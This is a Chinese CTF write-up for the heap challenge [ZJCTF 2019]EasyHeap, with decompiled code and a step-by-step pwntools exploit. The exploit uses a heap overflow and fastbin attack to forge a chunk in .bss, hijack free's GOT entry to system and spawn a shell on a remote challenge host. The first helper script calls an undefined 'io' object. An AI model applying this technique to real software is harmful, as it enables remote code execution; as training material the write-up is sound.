Unlink 例题分析

[ZJCTF 2019]EasyHeap

1772349742192-b6a4e06b-4a39-4d6a-ae79-70ebbc888248.png RELRO: Partial RELRO可以修改got表。没有开PIE

1772353181566-34b1013c-808d-45cd-821f-3455d4eade72.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int n3; // eax
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 8u);
      n3 = atoi(buf);
      if ( n3 != 3 )
        break;
      delete_heap();                            // n3=3 delete
    }
    if ( n3 > 3 )
    {
      if ( n3 == 4 )                            // n3=4 exit
        exit(0);
      if ( n3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( n3 == 1 )                         // n3=1  create
    {
      create_heap();
    }
    else
    {
      if ( n3 != 2 )
        goto LABEL_17;
      edit_heap();                              // n3=2   edit
    }
  }
}

create_heap()：

在分析堆的时候，最好养成按照顺序分析的习惯，先从 create 开始，通过 IDA 和程序运行共同分析：

1772356201599-4b0db4ea-7b9f-4040-8051-0581e609c12a.png1772356549822-e3c76604-59c3-4054-a180-c3e5e663c780.png

这里程序先确定大小，然后程序会 malloc(size)大小的空间，可以输入内容。

edit_heap()：

1772356900412-6c52659c-7c51-49d2-be2d-a88529453c26.png1772357112265-32b02ab8-75e0-4cdc-9372-bccfa184c113.png

编辑操作，可以修改堆的大小和内容。

delete_heap()：

1772356129927-baa46411-4eb5-47da-9ded-5c731137a861.png

查找索引，进行堆的删除。这里 free 后指针置 0，也就不会存在 uaf 漏洞。

exp 基本思路：

使用 堆溢出配合 Fastbin Attack 伪造 chunk，最终通过 GOT 表劫持来获取 shell。

程序的 edit 功能显然存在堆溢出漏洞，可以越界写入

构建基本函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
# from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
# libc = ELF('./libc-2.23.so')
p=remote("node5.buuoj.cn",29410)
elf=ELF("./pwn44")
def add(size,content):
    io.recvuntil("choice :")  
    io.sendline("1")         
    io.recvuntil("Size of Heap : ")  
    io.sendline(str(size))    
    io.recvuntil("Content of heap:") 
    io.send(content)        

def edit(index,size,content):
    io.recvuntil("choice :")
    io.sendline("2")          
    io.recvuntil("Index :")
    io.sendline(str(index)) 
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))   
    io.recvuntil("Content of heap : ")
    io.send(content)         

def delete(index):
    io.recvuntil("choice :")
    io.sendline("3")          
    io.recvuntil("Index :")
    io.sendline(str(index))

堆块布局与漏洞准备

1
2
3
4
add(0x60,"aaaaa") # index 0
add(0x60,"aaaaa") # index 1
add(0x60,"aaaaa") # index 2
delete(2)
  • 申请了 3 个大小为 0x60 的 chunk（加上 0x10 的 chunk header，实际在内存中的大小为 0x70）。
  • 释放了 chunk 2。此时 chunk 2 会被放入大小为 0x70 的 Fastbin 链表中。此时 Fastbin 结构大致为：head -> chunk 2 -> 0。

堆溢出与 Fastbin fd 篡改 

1
2
payload1 = b'/bin/sh\x00' + b'a'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload1),payload1)
  • 首先在 chunk 1 的开头写入 b’/bin/sh\x00’。为最后调用 system('/bin/sh') 做准备。
  • 用 b'a'*0x60 填满 chunk 1 剩下的空间，随后溢出到物理相邻的 chunk 2 刚才被释放进入 Fastbin 的 chunk
  • 伪造 Chunk Header：p64(0x71) 恢复了 chunk 2 原本的 size 字段（0x70 大小 + PREV_INUSE 标志位 = 0x71），保证堆结构不被破坏。
  • 篡改 fd 指针：p64(0x6020ad) 覆盖了 chunk 2 的 fd 指针。此时 Fastbin 的链表被恶意篡改为：head -> chunk 2 -> 0x6020ad。
1777036314585-7798b70e-7369-4023-bed3-493351fd88e1.png

利用错位伪造技巧将位于程序的 .bss 段 0x6020ad 伪造成 size

  • 当 malloc 从 Fastbin 中取 chunk 时，会进行安全检查：检查该 chunk 的 size 字段是否属于当前的 Fastbin 大小分类。对于 0x70 的 Fastbin，它允许的 size 值是 0x70 到 0x7f，绕过 malloc 检查

分配伪造的 Chunk

1
2
add(0x60,"aaaaa") # 重新申请回 chunk 2
add(0x60,"aaaaa") # index 3，申请到伪造的 0x6020ad
  • 第一次 add 把 chunk 2 从 Fastbin 中拿出来，此时 Fastbin 的 head 指向了我们伪造的地址 0x6020ad
  • 第二次 add 中malloc 认为 0x6020ad 是一个可用的 chunk，并将其分配给我们，记为 chunk 3。
  • 此时，我们拥有了对 .bss 段的写入权限。

覆盖全局指针数组 (BSS 劫持)

1
2
payload2 = b'a'*0x23 + p64(elf.got['free'])
edit(3,len(payload2),payload2)
  • 在这个分配到的伪造 chunk 中写入数据。
  • b'a'*0x23 是一段 padding（偏移量），用于从 0x6020ad + 0x10（用户数据区的起始地址）精确对齐到存储堆块指针的全局数组中 index 0 的位置。
  • p64(elf.got['free']) 将全局数组中 chunk 0 的指针覆盖为了 free 函数的 GOT 表地址。

GOT 表劫持

1
2
payload3 = p64(elf.plt['system'])
edit(0,len(payload3),payload3)
  • 程序认为 index 0 的指针指向的是一个正常的堆块，但实际上它现在指向的是 free@GOT。
  • 通过 edit(0)，我们将 system 函数的 PLT 地址（也可以是实际地址）写入了 free 的 GOT 表项。
  • 结果：从现在开始，程序中任何调用 free(ptr) 的地方，实际上都会执行 system(ptr)。

触发 System 函数获取 Shell

1
2
delete(1)
p.interactive()
  • 调用 delete(1)，原本会执行 free(chunk 1)。
  • 由于 free 被劫持，实际上执行的是 system(chunk 1_address)。
  • 还记得我们在步骤 2中在 chunk 1 的开头布置了什么吗？是 b'/bin/sh\x00'！
  • 因此，最终执行的命令是 system("/bin/sh")，成功拿到服务器 Shell，进入交互模式。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
# from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
# libc = ELF('./libc-2.23.so')
p=remote("node5.buuoj.cn",27217)
elf=ELF("./pwn44")
def add(size,content):
    p.recvuntil("choice :")  
    p.sendline("1")         
    p.recvuntil("Size of Heap : ")  
    p.sendline(str(size))    
    p.recvuntil("Content of heap:") 
    p.send(content)        

def edit(index,size,content):
    p.recvuntil("choice :")
    p.sendline("2")          
    p.recvuntil("Index :")
    p.sendline(str(index)) 
    p.recvuntil("Size of Heap : ")
    p.sendline(str(size))   
    p.recvuntil("Content of heap : ")
    p.send(content)         

def delete(index):
    p.recvuntil("choice :")
    p.sendline("3")          
    p.recvuntil("Index :")
    p.sendline(str(index))

add(0x60,"aaaaa")
add(0x60,"aaaaa")
add(0x60,"aaaaa")
delete(2)

payload1 = b'/bin/sh\x00' + b'a'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload1),payload1)

add(0x60,"aaaaa")
add(0x60,"aaaaa")

payload2 = b'a'*0x23 + p64(elf.got['free'])
edit(3,len(payload2),payload2)
payload3 = p64(elf.plt['system'])
edit(0,len(payload3),payload3)

delete(1)
p.interactive()

更新: 2026-04-24 21:42:36
原文: https://www.yuque.com/idcm/wnemg9/uhki8xnzbah1ge81